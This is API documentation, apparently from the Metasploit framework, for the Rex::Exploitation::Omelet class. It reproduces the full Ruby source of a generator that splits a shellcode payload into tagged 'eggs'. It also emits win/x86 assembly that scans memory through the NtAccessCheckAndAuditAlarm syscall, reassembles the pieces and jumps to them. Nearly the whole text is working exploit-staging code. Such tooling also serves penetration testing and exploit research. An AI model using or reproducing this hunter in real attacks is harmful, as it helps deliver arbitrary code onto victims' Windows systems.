Class: Rex::Exploitation::Omelet

Inherits:
Object
  • Object
show all
Defined in:
lib/rex/exploitation/omelet.rb

Overview

This class provides an interface to generating an eggs-to-omelet hunter for win/x86.

Written by corelanc0d3r <[email protected]>

Defined Under Namespace

Modules: Windows Classes: UnitTest

Instance Method Summary collapse

Constructor Details

#initialize(platform, arch = nil) ⇒ Omelet

Creates a new hunter instance and acquires the sub-class that should be used for generating the stub based on the supplied platform and architecture.



53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# File 'lib/rex/exploitation/omelet.rb', line 53

def initialize(platform, arch = nil)
Omelet.constants.each { |c|
	mod = self.class.const_get(c)

	next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))

	if (platform =~ /#{mod.const_get('Alias')}/i)
		self.extend(mod)

		if (arch and mod)
			mod.constants.each { |a|
				amod = mod.const_get(a)

				next if ((!amod.kind_of?(::Module)) or
					(!amod.const_defined?('Alias')))

				if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
						amod = mod.const_get(a)

						self.extend(amod)
					end
				}
			end
		end
	}
end

Instance Method Details

#generate(payload, badchars = '', opts = {}) ⇒ Object

This method generates an eggs-to-omelet hunter using the derived hunter stub.



83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
# File 'lib/rex/exploitation/omelet.rb', line 83

def generate(payload, badchars = '', opts = {})

	eggsize       = opts[:eggsize] || 123
	eggtag        = opts[:eggtag] || "00w"
	searchforward = opts[:searchforward] || true
	reset         = opts[:reset]
	startreg      = opts[:startreg]
	usechecksum   = opts[:checksum]
	adjust        = opts[:adjust] || 0

	return nil if ((opts = hunter_stub) == nil)

	# calculate number of eggs
	payloadlen = payload.length
	delta = payloadlen / eggsize
	delta = delta * eggsize
	nr_eggs = payloadlen / eggsize
	if delta < payloadlen
		nr_eggs = nr_eggs+1
	end

	nr_eggs_hex = "%02x" % nr_eggs
	eggsize_hex = "%02x" % eggsize

	hextag = ''
	eggtag.each_byte do |thischar|
		decchar = "%02x" % thischar
		hextag = decchar + hextag
	end
	hextag = hextag + "01"

	# search forward or backward ?
	setflag      = nil
	searchstub1  = nil
	searchstub2  = nil
	flipflagpre  = ''
	flipflagpost = ''
	checksum     = ''

	if searchforward
		# clear direction flag
		setflag     = "cld"
		searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
		searchstub2 = "inc edx"
	else
		# set the direction flag
		setflag      = "std"
		searchstub1  = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
		searchstub2  = "dec edx"
		flipflagpre  = "cld\n\tsub esi,-8"
		flipflagpost = "std"
	end

	# will we have to adjust the destination address ?
	adjustdest = ''
	if adjust > 0
		adjustdest = "\n\tsub edi,#{adjust}"
	elsif adjust < 0
		adjustdest = "\n\tadd edi,#{adjust}"
	end

	# prepare the stub that starts the search
	startstub = ''
	if startreg
		if startreg.downcase != 'ebp'
			startstub << "mov ebp,#{startreg}"
		end
		startstub << "\n\t" if startstub.length > 0
		startstub << "mov edx,ebp"
	end
	# a register will be used as start location for the search
	startstub << "\n\t" if startstub.length > 0
	startstub << "push esp\n\tpop edi\n\tor di,0xffff"
	startstub << adjustdest
	# edx will be used, start at end of stack frame
	if not startreg
		startstub << "\n\tmov edx,edi"
		if reset
			startstub << "\n\tpush edx\n\tpop ebp"
		end
	end

	# reset start after each egg was found ?
	# will allow to find eggs when they are out of order/sequence
	resetstart = ''
	if reset
		resetstart = "push ebp\n\tpop edx"
	end

       		#checksum code by dijital1 & corelanc0d3r
	if usechecksum
		checksum = <<EOS
	xor ecx,ecx
	xor eax,eax
calc_chksum_loop:
	add al,byte [edx+ecx]
	inc ecx
	cmp cl, egg_size
	jnz calc_chksum_loop
test_chksum:
	cmp al,byte [edx+ecx]
	jnz find_egg
EOS
	end

	# create omelet code
	omelet_hunter = <<EOS

	nr_eggs equ 0x#{nr_eggs_hex}	; number of eggs
	egg_size equ 0x#{eggsize_hex} 	; nr bytes of payload per egg
	hex_tag equ 0x#{hextag}		; tag

	#{setflag}			; set/clear direction flag
	jmp start

	; routine to calculate the target location
	; for writing recombined shellcode (omelet)
	; I'll use EDI as target location
	; First, I'll make EDI point to end of stack
	; and I'll put the number of shellcode eggs in eax
get_target_loc:
	#{startstub}		; use edx as start location for the search
	xor eax,eax		; zero eax
	mov al,nr_eggs		; put number of eggs in eax

calc_target_loc:
	xor esi,esi		; use esi as counter to step back
	mov si,0-(egg_size+20)	; add 20 bytes of extra space, per egg

get_target_loc_loop:	; start loop
	dec edi		; step back
	inc esi		; and update ESI counter
	cmp si,-1	; continue to step back until ESI = -1
	jnz get_target_loc_loop
	dec eax		; loop again if we did not take all pieces
             ; into account yet
	jnz calc_target_loc

	; edi now contains target location
	; for recombined shellcode
	xor ebx,ebx		; put loop counter in ebx
	mov bl,nr_eggs+1
	ret

start:
	call get_target_loc	; jump to routine which will calculate shellcode dst address

	; start looking for eggs, using edx as basepointer
	jmp search_next_address

find_egg:
	#{searchstub1}		; based on search direction

search_next_address:
	#{searchstub2}		; based on search direction
	push edx		; save edx
	push 0x02   ; use NtAccessCheckAndAuditAlarm syscall
	pop eax		; set eax to 0x02
	int 0x2e
	cmp al,0x5		; address readable ?
	pop edx		; restore edx
	je search_next_address  ; if addressss is not readable, go to next address

	mov eax,hex_tag	; if address is readable, prepare tag in eax
	add eax,ebx		; add offset (ebx contains egg counter, remember ?)
	xchg edi,edx		; switch edx/edi
	scasd			; edi points to the tag ?
	xchg edi,edx		; switch edx/edi back
	jnz find_egg		; if tag was not found, go to next address
	;found the tag at edx

 ;do we need to verify checksum ? (prevents finding corrupted eggs)
 #{checksum}

copy_egg:
	; ecx must first be set to egg_size (used by rep instruction) and esi as source
	mov esi,edx		; set ESI = EDX (needed for rep instruction)
	xor ecx,ecx
	mov cl,egg_size	; set copy counter
	#{flipflagpre}		; flip destination flag if necessary
	rep movsb		; copy egg from ESI to EDI
	#{flipflagpost}		; flip destination flag again if necessary
	dec ebx		; decrement egg
	#{resetstart}		; reset start location if necessary
	cmp bl,1		; found all eggs ?
	jnz find_egg		; no = look for next egg
	; done - all eggs have been found and copied

done:
	call get_target_loc	; re-calculate location where recombined shellcode is placed
	cld
	jmp edi		; and jump to it :)
EOS

	the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string

	# create the eggs array
	total_size = eggsize * nr_eggs
	padlen = total_size - payloadlen
	payloadpadding = "A" * padlen

	fullcode = payload + payloadpadding
	eggcnt = nr_eggs + 2
	startcode = 0

	eggs = []
	while eggcnt > 2 do
		egg_prep = eggcnt.chr + eggtag
		this_egg = fullcode[startcode, eggsize]
          if usechecksum
			cksum = 0
			this_egg.each_byte { |b|
				cksum += b
			}
			this_egg << [cksum & 0xff].pack('C')
		end

		this_egg = egg_prep + this_egg
		eggs << this_egg

		eggcnt -= 1
		startcode += eggsize
	end

	return [ the_omelet, eggs ]
end